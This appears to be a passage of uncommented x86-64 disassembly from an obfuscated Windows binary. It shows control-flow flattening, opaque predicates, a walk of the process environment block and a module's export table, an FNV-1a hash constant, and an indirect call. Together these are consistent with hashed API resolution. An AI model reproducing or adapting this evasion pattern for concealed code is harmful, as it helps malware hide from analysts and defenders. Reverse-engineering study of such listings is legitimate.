mov edx, dword [rbp + 0xcc]
jmp 0x14036caa0
cmp eax, 0xb10b2498
jg 0x14036cdc0
cmp eax, 0x89a14e6e
jle 0x14036ce93
cmp eax, 0x89a14e6f
je 0x14036cf57
cmp eax, 0x8f1ff919
je 0x14036ca70
mov ebx, eax
cmp eax, 0x91995dcd
jne 0x14036caa0
mov ebx, dword [rbp + 0xd0]
jmp 0x14036caa0
cmp eax, 0xd3c21c62
jle 0x14036cec5
mov ebx, r13d
cmp eax, 0xd3c21c63
je 0x14036caa0
mov ebx, r14d
cmp eax, 0xe098d522
je 0x14036caa0
mov ebx, eax
cmp eax, 0xe91aaf98
jne 0x14036caa0
mov rax, qword [rbp + 0x198]
add rax, 1
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x198]
mov al, byte [rax]
mov byte [rbp + 0x187], al
cmp byte [rbp + 0x187], 0
setne byte [rbp + 0x170]
mov ebx, dword [rbp + 0xd4]
jmp 0x14036caa0
cmp eax, 0xe81cf2c
jle 0x14036ceea
cmp eax, 0xe81cf2d
je 0x14036cf6b
cmp eax, 0x163a0f30
je 0x14036cf09
mov ebx, eax
cmp eax, 0x1779598e
jne 0x14036caa0
mov ebx, 0xd3c21c63
jmp 0x14036caa0
cmp eax, 0x4952a100
je 0x14036cf88
mov ebx, dword [rbp + 0x78]
cmp eax, 0x574b71b6
je 0x14036caa0
mov ebx, eax
cmp eax, 0x473e8a81
jne 0x14036caa0
jmp 0x14036d10b
cmp eax, 0x803f1b2f
je 0x14036cf3f
mov ebx, eax
cmp eax, 0x81b25ea0
jne 0x14036caa0
mov r9d, dword [rbp + 0xc0]
mov ebx, 0x4952a100
xor r15d, r15d
mov ecx, dword [rbp + 0x128]
jmp 0x14036caa0
mov ebx, r10d
cmp eax, 0xb10b2499
je 0x14036caa0
mov ebx, eax
cmp eax, 0xb69743ae
jne 0x14036caa0
mov ebx, 0x81b25ea0
jmp 0x14036caa0
cmp eax, 0x7c4755d
je 0x14036cf61
mov ebx, eax
cmp eax, 0xb3ac832
jne 0x14036caa0
mov ebx, dword [rbp + 0xdc]
jmp 0x14036caa0
mov ebx, 0x8f1ff919
mov edx, 0x811c9dc5
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x100], rax
jmp 0x14036caa0
cmp byte [rbp + 0x170], 0
mov ebx, 0xe81cf2d
mov eax, 0x237bb451
cmovne ebx, eax
jmp 0x14036caa0
mov rax, qword [rbp + 0x198]
mov rax, qword [rbp + 0x198]
mov ebx, 0xe91aaf98
jmp 0x14036caa0
mov ebx, 0x574b71b6
jmp 0x14036caa0
mov ebx, 0xb10b2499
jmp 0x14036caa0
mov r9d, dword [rbp + 0x154]
mov ebx, 0x4952a100
mov r15d, 1
mov ecx, dword [rbp + 0x154]
jmp 0x14036caa0
mov dword [rbp + 0x158], ecx
test r15d, r15d
mov ebx, 0x473e8a81
mov eax, 0x8f1ff919
cmove ebx, eax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x100], rax
mov r12d, dword [rbp + 0x158]
mov edx, r9d
jmp 0x14036caa0
mov ebx, 0xb3ac832
jmp 0x14036caa0
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, 0x704c8eed
jmp 0x14036bf10
mov rcx, qword [rbp + 0x118]
mov eax, dword [rbp + 0x12c]
mov rdx, qword [rcx]
mov qword [rbp + 0x178], rdx
mov rcx, qword [rcx + 8]
mov edx, dword [rcx + 0x1c]
add rdx, qword [rbp + 0x178]
mov qword [rbp + 0x188], rdx
mov ecx, dword [rcx + 0x24]
add rcx, qword [rbp + 0x178]
mov qword [rbp + 0x190], rcx
mov ecx, 0xa7e038c0
nop dword [rax]
cmp ecx, 0xa3a28b43
je 0x14036d121
cmp ecx, 0xa7e038c0
jne 0x14036d030
mov rcx, qword [rbp + 0x190]
movzx ecx, word [rcx + rax*2]
shl rcx, 2
add rcx, qword [rbp + 0x188]
mov qword [rbp + 0x198], rcx
mov ecx, 0xa3a28b43
jmp 0x14036d030
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xe8], rax
mov eax, 0xb8886506
jmp 0x14036bf10
mov eax, dword [rbp + 0xa0]
mov dword [rbp + 0x15c], eax
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfce91c3
mov ecx, 0x704c8eed
jmp 0x14036befd
mov eax, 0x38ffed7e
jmp 0x14036bf10
mov edx, dword [rbp + 0x10c]
test edx, edx
mov eax, 0x18c9d93
mov ecx, 0xb2fd6b3c
cmove eax, ecx
mov dword [rbp + 0x108], edx
mov rcx, qword [rbp + 0x98]
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0xb0], rcx
jmp 0x14036bf10
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x188]
mov qword [rax], rcx
mov byte [rbp + 0x171], 1
mov eax, 0xfc3de4fb
jmp 0x14036bf10
mov eax, dword [rbp + 0x158]
mov dword [rbp + 0xc4], eax
mov eax, 0xc329a2b3
jmp 0x14036bf10
mov rax, qword [rbp + 0x198]
mov eax, dword [rax]
add rax, qword [rbp + 0x178]
mov qword [rbp + 0x140], rax
mov eax, 0xa24d1d27
jmp 0x14036bf10
cmp eax, 0xc831fa3a
jne 0x14036bf10
jmp 0x14036d7ea
mov eax, dword [0x140ae8140]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8144], 0xa
setl cl
or cl, al
mov ecx, 0x1dfac00b
mov eax, 0x3cf63a48
cmovne ecx, eax
mov dword [rbp + 0x130], ecx
mov ecx, 0x1dfac00b
mov eax, 0x7b5ba97d
cmovne ecx, eax
mov dword [rbp + 0x134], ecx
mov eax, dword [0x140ae8148]
mov edx, dword [0x140ae814c]
lea ecx, [rax - 1]
imul ecx, eax
mov dword [rbp + 0xf8], ecx
test cl, 1
sete cl
mov dword [rbp + 0x100], edx
cmp edx, 0xa
setl dl
mov eax, dword [0x140ae8150]
mov r10d, dword [0x140ae8154]
lea r15d, [rax - 1]
imul r15d, eax
test r15b, 1
sete al
cmp r10d, 0xa
setl bl
or bl, al
mov eax, 0x1806efec
mov ebx, 0x2d12b554
cmovne eax, ebx
mov r11d, 0x1806efec
mov ebx, 0xc7e4f419
cmovne r11d, ebx
mov r13d, 0x50ecbf49
mov ebx, 0xb7bc901d
cmovne r13d, ebx
mov esi, 0x50ecbf49
mov ebx, 0xe073d505
cmovne esi, ebx
mov r14d, 0xb58a2df5
mov ebx, 0xb79c9156
cmovne r14d, ebx
or dl, cl
mov r9d, 0x40dbb7c4
mov ecx, 0xa9b92767
cmovne r9d, ecx
mov r8d, 0x40dbb7c4
mov ecx, 0xc7078832
cmovne r8d, ecx
mov r12d, 0x7282843
mov ecx, 0x15d8b3b5
cmovne r12d, ecx
mov ecx, 0x95071535
nop
cmp ecx, 0x1dfac00a
jle 0x14036d2a0
cmp ecx, 0x1dfac00b
je 0x14036d799
cmp ecx, 0x3cf63a48
je 0x14036bec0
cmp ecx, 0x7b5ba97d
jne 0x14036d270
mov ecx, dword [rbp + 0x130]
jmp 0x14036d270
cmp ecx, 0x85e56079
je 0x14036d7a3
cmp ecx, 0x95071535
jne 0x14036d270
test byte [rbp + 0xf8], 1
sete byte [rbp + 0x128]
cmp dword [rbp + 0x100], 0xa
setl byte [rbp + 0x154]
mov edx, 0x7245ccbf
jmp 0x14036d2f0
mov rcx, qword [rbp + 0x178]
mov edx, 0xc7078832
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, edx
cmp edx, 0x12477acc
jg 0x14036d330
cmp ecx, 0xeb677b59
jg 0x14036d360
cmp ecx, 0xc5530a32
je 0x14036d5a1
cmp ecx, 0xc7078832
jne 0x14036d773
mov rcx, qword [rbp + 0x178]
mov qword [rbp + 0x188], rcx
mov edx, r9d
jmp 0x14036d2f0
cmp ecx, 0x40dbb7c3
jg 0x14036d530
cmp ecx, 0x12477acd
je 0x14036d56e
mov edx, ecx
cmp ecx, 0x15d8b3b5
jne 0x14036d2f0
mov edx, 0x12477acd
jmp 0x14036d2f0
mov edx, r8d
cmp ecx, 0xeb677b5a
je 0x14036d2f0
mov edx, ecx
cmp ecx, 0x7282843
jne 0x14036d2f0
test r15b, 1
sete byte [rbp + 0x158]
cmp r10d, 0xa
setl byte [rbp + 0x174]
mov ecx, 0xe6aa786e
jmp 0x14036d3a0
test bl, bl
cmovne ecx, edi
nop dword [rax + rax]
mov edi, ecx
cmp ecx, 0xe6aa786d
jg 0x14036d3e0
cmp edi, 0xb7bc901c
jg 0x14036d410
mov ecx, r11d
cmp edi, 0xa6904a62
je 0x14036d3a0
cmp edi, 0xb58a2df5
je 0x14036d4b8
mov ecx, edi
cmp edi, 0xb79c9156
jne 0x14036d3a0
mov ecx, 0x2bd10b98
jmp 0x14036d3a0
cmp edi, 0x2d12b553
jg 0x14036d443
cmp edi, 0xe6aa786e
je 0x14036d46b
cmp edi, 0x1806efec
je 0x14036d4ae
mov ecx, edi
cmp edi, 0x2bd10b98
jne 0x14036d3a0
mov ecx, esi
jmp 0x14036d3a0
cmp edi, 0xb7bc901d
je 0x14036d493
mov ecx, eax
cmp edi, 0xc7e4f419
je 0x14036d3a0
mov ecx, edi
cmp edi, 0xe073d505
jne 0x14036d3a0
mov rdx, qword [rbp + 0x190]
mov ecx, r13d
jmp 0x14036d3a0
cmp edi, 0x50ecbf49
je 0x14036d49d
cmp edi, 0x7e9a4a9e
jne 0x14036d4cb
mov rcx, qword gs:[0x60]
mov qword [rbp + 0x190], rcx
mov ecx, r14d
jmp 0x14036d3a0
movzx ebx, byte [rbp + 0x158]
cmp byte [rbp + 0x174], 0
mov edi, 0x7e9a4a9e
mov ecx, 0x7e9a4a9e
jne 0x14036d396
mov ecx, 0xb58a2df5
jmp 0x14036d396
mov ecx, 0xa6904a62
jmp 0x14036d3a0
mov rcx, qword [rbp + 0x190]
mov ecx, 0xe073d505
jmp 0x14036d3a0
mov ecx, 0xc7e4f419
jmp 0x14036d3a0
mov rcx, qword gs:[0x60]
mov ecx, 0x7e9a4a9e
jmp 0x14036d3a0
mov ecx, edi
cmp edi, 0x2d12b554
jne 0x14036d3a0
mov qword [rbp + 0x198], rdx
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x190], rcx
mov edx, 0x8546b22b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3876635d
je 0x14036d589
cmp edx, 0x8546b22b
jne 0x14036d500
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx + 0x18]
mov edx, 0x3876635d
jmp 0x14036d500
cmp ecx, 0x40dbb7c4
je 0x14036d2d7
mov edx, ecx
cmp ecx, 0x7245ccbf
jne 0x14036d2f0
mov cl, byte [rbp + 0x128]
cmp byte [rbp + 0x154], 0
mov edx, 0x7282843
mov ebx, 0xc5530a32
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
jmp 0x14036d2f0
mov rcx, qword [rbp + 0x160]
mov rcx, qword [rcx]
mov qword [rbp + 0x178], rcx
mov edx, 0xeb677b5a
jmp 0x14036d2f0
mov qword [rbp + 0x198], rcx
mov rcx, qword [rbp + 0x198]
mov edx, 0xc5530a32
jmp 0x14036d2f0
test r15b, 1
sete byte [rbp + 0x158]
mov ebx, r10d
cmp r10d, 0xa
setl byte [rbp + 0x174]
mov edi, 0xe6aa786e
jmp 0x14036d5d0
test cl, cl
cmovne edi, edx
nop word cs:[rax + rax]
mov edx, edi
cmp edi, 0xe6aa786d
jg 0x14036d610
cmp edx, 0xb7bc901c
jg 0x14036d640
mov edi, r11d
cmp edx, 0xa6904a62
je 0x14036d5d0
cmp edx, 0xb58a2df5
je 0x14036d6e8
mov edi, edx
cmp edx, 0xb79c9156
jne 0x14036d5d0
mov edi, 0x2bd10b98
jmp 0x14036d5d0
cmp edx, 0x2d12b553
jg 0x14036d673
cmp edx, 0xe6aa786e
je 0x14036d69b
cmp edx, 0x1806efec
je 0x14036d6de
mov edi, edx
cmp edx, 0x2bd10b98
jne 0x14036d5d0
mov edi, esi
jmp 0x14036d5d0
cmp edx, 0xb7bc901d
je 0x14036d6c3
mov edi, eax
cmp edx, 0xc7e4f419
je 0x14036d5d0
mov edi, edx
cmp edx, 0xe073d505
jne 0x14036d5d0
mov r10, qword [rbp + 0x190]
mov edi, r13d
jmp 0x14036d5d0
cmp edx, 0x50ecbf49
je 0x14036d6cd
cmp edx, 0x7e9a4a9e
jne 0x14036d6fb
mov rcx, qword gs:[0x60]
mov qword [rbp + 0x190], rcx
mov edi, r14d
jmp 0x14036d5d0
movzx ecx, byte [rbp + 0x158]
cmp byte [rbp + 0x174], 0
mov edx, 0x7e9a4a9e
mov edi, 0x7e9a4a9e
jne 0x14036d5c1
mov edi, 0xb58a2df5
jmp 0x14036d5c1
mov edi, 0xa6904a62
jmp 0x14036d5d0
mov rcx, qword [rbp + 0x190]
mov edi, 0xe073d505
jmp 0x14036d5d0
mov edi, 0xc7e4f419
jmp 0x14036d5d0
mov rcx, qword gs:[0x60]
mov edi, 0x7e9a4a9e
jmp 0x14036d5d0
mov edi, edx
cmp edx, 0x2d12b554
jne 0x14036d5d0
mov qword [rbp + 0x198], r10
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x190], rcx
mov edx, 0x8546b22b
mov r10d, ebx
nop word cs:[rax + rax]
cmp edx, 0x3876635d
je 0x14036d752
cmp edx, 0x8546b22b
jne 0x14036d730
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx + 0x18]
mov edx, 0x3876635d
jmp 0x14036d730
mov qword [rbp + 0x198], rcx
mov rcx, qword [rbp + 0x198]
add rcx, 0x10
mov qword [rbp + 0x160], rcx
mov edx, r12d
jmp 0x14036d2f0
mov edx, ecx
cmp ecx, 0xa9b92767
jne 0x14036d2f0
mov rcx, qword [rbp + 0x188]
mov qword [rbp + 0xe0], rcx
mov ecx, 0x85e56079
jmp 0x14036d270
mov ecx, 0x7b5ba97d
jmp 0x14036d270
mov ecx, dword [rbp + 0x134]
jmp 0x14036d270
mov rax, qword [rbp + 0xf0]
mov eax, 0xdc650d0d
mov rsp, qword [rbp + 0x88]
jmp 0x14036a50e
mov cl, byte [rbp + 0x127]
cmp byte [rbp + 0x126], 0
mov eax, 0xc0a9c721
mov edx, 0x62f157ce
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14036a50e
mov rax, qword [rbp + 0xf0]
mov rsp, qword [rbp + 0x30]
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x50], rax
mov eax, dword [0x140ae0930]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf65e0237
mov ecx, 0xcd3ceec2
jmp 0x14036a501
cmp eax, 0x1451db43
jne 0x14036a50e
jmp 0x14036d836
cmp eax, 0x7a0a639a
jne 0x14036a50e
sub rsp, 0x20
mov rcx, qword [rbp + 0x58]
call fcn.1405a3610
add rsp, 0x20
mov ecx, dword [rax]
mov rax, qword [rbp + 0x50]
sub rsp, 0x20
call rax
int3